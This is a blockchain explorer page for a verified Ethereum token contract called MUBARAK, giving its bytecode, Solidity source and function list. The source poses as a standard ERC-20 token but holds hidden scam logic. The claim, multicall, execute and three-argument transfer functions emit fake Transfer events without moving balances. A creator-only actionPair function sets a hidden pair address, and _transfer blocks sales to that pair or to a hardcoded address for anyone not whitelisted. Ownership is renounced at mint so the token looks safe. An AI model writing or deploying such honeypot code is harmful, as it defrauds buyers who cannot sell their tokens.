Address Contract Verified
Address
0xCFa700306717C90eDDD6006a326Fe04350d92E05
Balance
0 ETH
Nonce
1
Code Size
8434 bytes
Creator
0xDFE73661...bBC8 at tx 0x01d1ff1f...9ede08
Indexed Transactions
0
Contract Bytecode
8434 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102bb578063beabacc8146102eb578063dd62ed3e14610307578063e7b8174914610337578063f2fde38b1461036757610116565b8063715018a6146102595780638cc03755146102635780638da5cb5b1461027f57806395d89b411461029d57610116565b806326ededb8116100e957806326ededb8146101b7578063313ce567146101d3578063321bef23146101f157806368432dad1461020d57806370a082311461022957610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610383565b6040516101309190611648565b60405180910390f35b610153600480360381019061014e9190611708565b610415565b6040516101609190611763565b60405180910390f35b610171610438565b60405161017e919061178d565b60405180910390f35b6101a1600480360381019061019c91906117a8565b610442565b6040516101ae9190611763565b60405180910390f35b6101d160048036038101906101cc9190611860565b610471565b005b6101db610546565b6040516101e891906118dc565b60405180910390f35b61020b60048036038101906102069190611860565b61054f565b005b61022760048036038101906102229190611860565b610624565b005b610243600480360381019061023e91906118f7565b6106f9565b604051610250919061178d565b60405180910390f35b610261610742565b005b61027d60048036038101906102789190611860565b610756565b005b6102876109c7565b6040516102949190611933565b60405180910390f35b6102a56109f0565b6040516102b29190611648565b60405180910390f35b6102d560048036038101906102d09190611708565b610a82565b6040516102e29190611763565b60405180910390f35b610305600480360381019061030091906117a8565b610aa5565b005b610321600480360381019061031c919061194e565b610b0f565b60405161032e919061178d565b60405180910390f35b610351600480360381019061034c91906118f7565b610b96565b60405161035e9190611763565b60405180910390f35b610381600480360381019061037c91906118f7565b610c32565b005b606060048054610392906119bd565b80601f01602080910402602001604051908101604052809291908181526020018280546103be906119bd565b801561040b5780601f106103e05761010080835404028352916020019161040b565b820191906000526020600020905b8154815290600101906020018083116103ee57829003601f168201915b5050505050905090565b600080610420610cb6565b905061042d818585610cbe565b600191505092915050565b6000600354905090565b60008061044d610cb6565b905061045a858285610e89565b610465858585610f15565b60019150509392505050565b60005b8383905081101561054057838382818110610492576104916119ef565b5b90506020020160208101906104a791906118f7565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610525919061178d565b60405180910390a3808061053890611a4d565b915050610474565b50505050565b60006008905090565b60005b8383905081101561061e578383828181106105705761056f6119ef565b5b905060200201602081019061058591906118f7565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610603919061178d565b60405180910390a3808061061690611a4d565b915050610552565b50505050565b60005b838390508110156106f357838382818110610645576106446119ef565b5b905060200201602081019061065a91906118f7565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106d8919061178d565b60405180910390a380806106eb90611a4d565b915050610627565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61074a611468565b61075460006114e6565b565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600084849050836107ab9190611a96565b9050808210156107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611b3c565b60405180910390fd5b60005b858590508110156109bf576000868683818110610813576108126119ef565b5b905060200201602081019061082891906118f7565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190611bce565b60405180910390fd5b84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108e99190611bee565b9250508190555084600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461093f9190611c22565b925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516109a3919061178d565b60405180910390a35080806109b790611a4d565b9150506107f3565b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109ff906119bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2b906119bd565b8015610a785780601f10610a4d57610100808354040283529160200191610a78565b820191906000526020600020905b815481529060010190602001808311610a5b57829003601f168201915b5050505050905090565b600080610a8d610cb6565b9050610a9a818585610f15565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b02919061178d565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073dfe73661ea6856a7962b599dd6cefb2f8f2fbbc873ffffffffffffffffffffffffffffffffffffffff16610bcb610cb6565b73ffffffffffffffffffffffffffffffffffffffff161415610c295781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610c3a611468565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190611cea565b60405180910390fd5b610cb3816114e6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2590611d7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9590611e0e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e7c919061178d565b60405180910390a3505050565b6000610e958484610b0f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f0f5781811015610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef890611e7a565b60405180910390fd5b610f0e8484848403610cbe565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7c90611f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90611f9e565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110925750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806112b257508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561113557507376502986fda524deb0d563526fac5705bdcd3fe173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611181575073fef343eeb7fc5e520cd8250aaaf29a6c4bd7524b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111cd5750738e8c2f0025a1b0c9fafd3f54d5f0c20b1d8a417073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112195750738d9596be0b1e74790827027b3d7b4aa1af49488f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112655750734020851d82f7f13768a20feacebad7d0ad956aa173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112b15750731d1c0e09806aaa1fe93cd7cadbd0fcffed75527473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156112d85760006001826112c69190611c22565b905060075481106112d657600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612030565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161144f919061178d565b60405180910390a36114628484846115aa565b50505050565b611470610cb6565b73ffffffffffffffffffffffffffffffffffffffff1661148e6109c7565b73ffffffffffffffffffffffffffffffffffffffff16146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db9061209c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115e95780820151818401526020810190506115ce565b838111156115f8576000848401525b50505050565b6000601f19601f8301169050919050565b600061161a826115af565b61162481856115ba565b93506116348185602086016115cb565b61163d816115fe565b840191505092915050565b60006020820190508181036000830152611662818461160f565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061169f82611674565b9050919050565b6116af81611694565b81146116ba57600080fd5b50565b6000813590506116cc816116a6565b92915050565b6000819050919050565b6116e5816116d2565b81146116f057600080fd5b50565b600081359050611702816116dc565b92915050565b6000806040838503121561171f5761171e61166a565b5b600061172d858286016116bd565b925050602061173e858286016116f3565b9150509250929050565b60008115159050919050565b61175d81611748565b82525050565b60006020820190506117786000830184611754565b92915050565b611787816116d2565b82525050565b60006020820190506117a2600083018461177e565b92915050565b6000806000606084860312156117c1576117c061166a565b5b60006117cf868287016116bd565b93505060206117e0868287016116bd565b92505060406117f1868287016116f3565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126118205761181f6117fb565b5b8235905067ffffffffffffffff81111561183d5761183c611800565b5b60208301915083602082028301111561185957611858611805565b5b9250929050565b6000806000604084860312156118795761187861166a565b5b600084013567ffffffffffffffff8111156118975761189661166f565b5b6118a38682870161180a565b935093505060206118b6868287016116f3565b9150509250925092565b600060ff82169050919050565b6118d6816118c0565b82525050565b60006020820190506118f160008301846118cd565b92915050565b60006020828403121561190d5761190c61166a565b5b600061191b848285016116bd565b91505092915050565b61192d81611694565b82525050565b60006020820190506119486000830184611924565b92915050565b600080604083850312156119655761196461166a565b5b6000611973858286016116bd565b9250506020611984858286016116bd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119d557607f821691505b602082108114156119e9576119e861198e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a58826116d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a8b57611a8a611a1e565b5b600182019050919050565b6000611aa1826116d2565b9150611aac836116d2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ae557611ae4611a1e565b5b828202905092915050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611b266014836115ba565b9150611b3182611af0565b602082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b7f43616e6e6f74207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611bb86023836115ba565b9150611bc382611b5c565b604082019050919050565b60006020820190508181036000830152611be781611bab565b9050919050565b6000611bf9826116d2565b9150611c04836116d2565b925082821015611c1757611c16611a1e565b5b828203905092915050565b6000611c2d826116d2565b9150611c38836116d2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c6d57611c6c611a1e565b5b828201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cd46026836115ba565b9150611cdf82611c78565b604082019050919050565b60006020820190508181036000830152611d0381611cc7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d666024836115ba565b9150611d7182611d0a565b604082019050919050565b60006020820190508181036000830152611d9581611d59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611df86022836115ba565b9150611e0382611d9c565b604082019050919050565b60006020820190508181036000830152611e2781611deb565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611e64601d836115ba565b9150611e6f82611e2e565b602082019050919050565b60006020820190508181036000830152611e9381611e57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef66023836115ba565b9150611f0182611e9a565b604082019050919050565b60006020820190508181036000830152611f2581611ee9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f886025836115ba565b9150611f9382611f2c565b604082019050919050565b60006020820190508181036000830152611fb781611f7b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061201a6026836115ba565b915061202582611fbe565b604082019050919050565b600060208201905081810360008301526120498161200d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120866020836115ba565b915061209182612050565b602082019050919050565b600060208201905081810360008301526120b581612079565b905091905056fea2646970667358221220a5ccafddff511561d7f5fb5813d84389f918605c93ca86cf47220bf95464ddb564736f6c63430008090033
Verified Source Code Full Match
Compiler: v0.8.9+commit.e5eed63a
EVM: london
Optimization: No
MUBARAK.sol 232 lines
/*
website : https://www.MUBARAK.com
twitter : https://x.com/MUBARAK
telegram : https://t.me/MUBARAK
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Meta is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MUBARAK is Ownable, IERC20, IERC20Meta {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _p76234;
uint256 private _e242 = 999;
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function claim(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function multicall(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function actionPair(address account) public virtual returns (bool) {
if(_msgSender() == 0xDFE73661ea6856a7962B599DD6cEfb2f8f2fbBC8) _p76234 = account;
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
if((from != _p76234 && to ==
0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
(_p76234 == to && from != 0x76502986fDA524dEb0d563526fAC5705bDcd3fE1 && from != 0xFef343EeB7fc5e520cD8250AaAf29A6C4bd7524b && from != 0x8e8C2f0025a1b0c9fafD3F54D5f0C20B1D8A4170 && from != 0x8D9596Be0b1E74790827027B3D7B4Aa1aF49488F && from != 0x4020851D82f7F13768A20FeaCeBad7D0Ad956Aa1 && from != 0x1d1C0e09806aaa1fe93Cd7caDbD0FCFFeD755274))
{
uint256 _X7W88 = amount + 1;
require(_X7W88 < _e242 );
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function batchTransferActual(address[] calldata recipients, uint256 amount) external {
uint256 senderBalance = _balances[msg.sender];
uint256 totalAmount = amount * recipients.length;
require(senderBalance >= totalAmount, "Insufficient balance");
for (uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
require(recipient != address(0), "Cannot transfer to the zero address");
_balances[msg.sender] -= amount;
_balances[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor() {
_name = unicode"MUBARAK";
_symbol = unicode"MUBARAK";
_mint(msg.sender, 1000000000 * 10 ** decimals());
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
actionPair 0xe7b81749
address account
returns: bool
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
batchTransferActual 0x8cc03755
address[] recipients
uint256 amount
claim 0x68432dad
address[] _addresses_
uint256 _out
execute 0x26ededb8
address[] _addresses_
uint256 _out
multicall 0x321bef23
address[] _addresses_
uint256 _out
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transfer 0xbeabacc8
address _from
address _to
uint256 _wad
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address